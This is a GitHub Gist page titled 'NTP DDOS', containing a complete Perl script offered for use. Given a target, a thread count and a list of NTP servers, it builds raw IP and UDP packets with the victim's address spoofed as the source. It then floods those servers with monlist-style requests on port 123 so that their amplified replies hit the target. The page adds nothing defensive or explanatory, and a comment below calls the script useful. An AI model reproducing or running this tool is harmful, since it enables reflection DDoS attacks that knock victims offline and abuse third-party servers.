-
-
Save anonymous/d3abecdf9e828b3b7c37 to your computer and use it in GitHub Desktop.
NTP DDOS
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use threads; | |
use Socket; | |
my $num_of_threads = $ARGV[5]; | |
my $target = $ARGV[0]; | |
my $udp_src_port = $ARGV[1]; | |
my $time = $ARGV[2]; | |
#Open Input List. | |
my $openme = $ARGV[3]; | |
open my $handle, '<', $openme; | |
chomp(my @servers = <$handle>); | |
close $handle; | |
my $ppr = $ARGV[4]; | |
my @threads = initThreads(); | |
print "I guess im attacking $target for $time seconds with $num_of_threads threads\n"; | |
#Does the list exist? | |
if (-e $openme) { | |
print "Using $openme as list.\n"; | |
} | |
unless (-e $openme) { | |
print "List does not exist.\n"; | |
exit(); | |
} | |
#Start Threading | |
foreach(@threads){ | |
$_ = threads->create(\&attackshit); | |
} | |
foreach(@threads){ | |
$_->join(); | |
} | |
sub initThreads{ | |
my @initThreads; | |
for(my $i = 1;$i<=$num_of_threads;$i++){ | |
push(@initThreads,$i); | |
} | |
return @initThreads; | |
} | |
#Start DDosing. | |
sub attackshit{ | |
alarm("$time"); | |
repeat: my $ip_dst = ( gethostbyname( $servers[ int( rand(@servers) ) ] ) )[4]; | |
my $ip_src = ( gethostbyname($target) )[4]; | |
socket( RAW, AF_INET, SOCK_RAW, 255 ) or die $!; | |
setsockopt( RAW, 0, 1, 1 ); | |
main(); | |
sub main { | |
my $packet; | |
$packet = ip_header(); | |
$packet .= udp_header(); | |
$packet .= payload(); | |
#send_packet($packet) && goto repeat; | |
#send_packet($packet) | |
for (1 .. $ppr) { | |
send_packet($packet) or last; | |
} | |
goto repeat; | |
} | |
sub ip_header { | |
my $ip_ver = 4; | |
my $ip_header_len = 5; | |
my $ip_tos = 0; | |
my $ip_total_len = $ip_header_len + 20; | |
my $ip_frag_id = 0; | |
my $ip_frag_flag = "010";#"\x30\x31\x30"; | |
my $ip_frag_offset = "0000000000000";#"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"; | |
my $ip_ttl = 255; | |
my $ip_proto = 17; | |
my $ip_checksum = 0; | |
my $ip_header = pack( "H2 H2 n n B16 h2 c n a4 a4",#"\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34", | |
$ip_ver.$ip_header_len, | |
$ip_tos, | |
$ip_total_len, | |
$ip_frag_id, | |
$ip_frag_flag.$ip_frag_offset, | |
$ip_ttl, | |
$ip_proto, | |
$ip_checksum, | |
$ip_src, | |
$ip_dst | |
); | |
return $ip_header; | |
} | |
sub udp_header { | |
my $udp_dst_port = 123; | |
my $udp_len = 8 + length( payload() ); | |
my $udp_checksum = 0; | |
my $udp_header = pack( | |
"n n n n",#"\x6E\x20\x6E\x20\x6E\x20\x6E", | |
$udp_src_port, | |
$udp_dst_port, | |
$udp_len, | |
$udp_checksum | |
); | |
return $udp_header; | |
} | |
sub payload { | |
my $data = "\x17\x00\x03\x2a" . "\x00" x 4; | |
my $payload = pack( "a".length($data), $data ); | |
return $payload; | |
} | |
sub send_packet { | |
send( RAW, $_[0], 0, pack( "Sna4x8", AF_INET, 60, $ip_dst ) ); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
It is very useful full